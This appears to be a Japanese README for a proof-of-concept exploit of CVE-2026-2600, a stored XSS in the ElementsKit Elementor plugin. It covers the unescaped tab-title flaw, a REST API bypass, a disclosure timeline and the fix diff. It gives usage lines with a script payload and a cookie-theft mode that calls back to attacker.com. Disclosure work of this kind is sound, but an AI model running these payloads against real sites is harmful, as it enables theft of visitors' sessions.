
CVE-2026-2600の概念実証エクスプロイト。ElementsKit Elementor Addons <= 3.7.9における格納型XSSで、認証済みのContributorが細工したElementorデータを介して任意のスクリプトを注入できるようにします。
| CVSS | 6.4 MEDIUM |
| 影響を受けるバージョン | <= 3.7.9 |
| 修正済みバージョン | 3.8.0 |
| 最小権限ロール | Contributor(edit_posts) |
| 攻撃ベクトル | ネットワーク / 低複雑性 / 低権限 |
Simple Tab ウィジェットは、タブタイトルを echo で HTML 出力しますが、出力エスケープ処理が行われていません。widgets/tab/tab.php のレンダリングループでは、以下の処理が行われます:
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}
Elementor のエディタはクライアント側で入力をサニタイズしますが、REST API エンドポイント(/wp-json/wp/v2/posts/{id})は _elementor_data メタフィールドを直接受け入れるため、その層を完全にバイパスします。
認証済みの Contributor は、ekit_tab_title に任意の HTML を設定した細工済みの Elementor JSON ペイロードで投稿を PATCH できます。この値は _elementor_data にそのまま保存され、レンダリング時に esc_html() なしで出力されるため、ページ読み込み時にすべての訪問者のブラウザでスクリプトが実行されます。
Contributor は以下のことが可能です:
開示時点で 40 万以上のアクティブインストールが影響を受けていました。
pip install requests
python3 poc.py https://target.com contributor p4ss
このスクリプトは HTTP 経由で認証し、管理エディタから REST nonce を取得し、下書き投稿を作成して、ekit_tab_title フィールドに埋め込まれた XSS ペイロードを含む _elementor_data を PATCH し、投稿を公開します。出力により、ペイロードがページソース内で有効かどうかが確認できます。
# カスタムペイロード
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'
# コールバックによる Cookie 窃取
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal
# 対話型コンソールモード
python3 console_poc.py
| 日付 | イベント |
|---|---|
| 2026年1月 | SVN 差分レビューにより発見。PoC を確認。 |
| 2026年1月 | 完全な解説と PoC を添えて Patchstack Alliance に報告。 |
| 2026年3月 | Wpmet が v3.8.0 で修正をリリース。 |
| 2026年4月 | CVE-2026-2600 が公開。CVSS 6.4 MEDIUM が割り当て。 |
Wpmet は widgets/tab/tab.php のタブタイトル出力に esc_html() を追加しました:
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';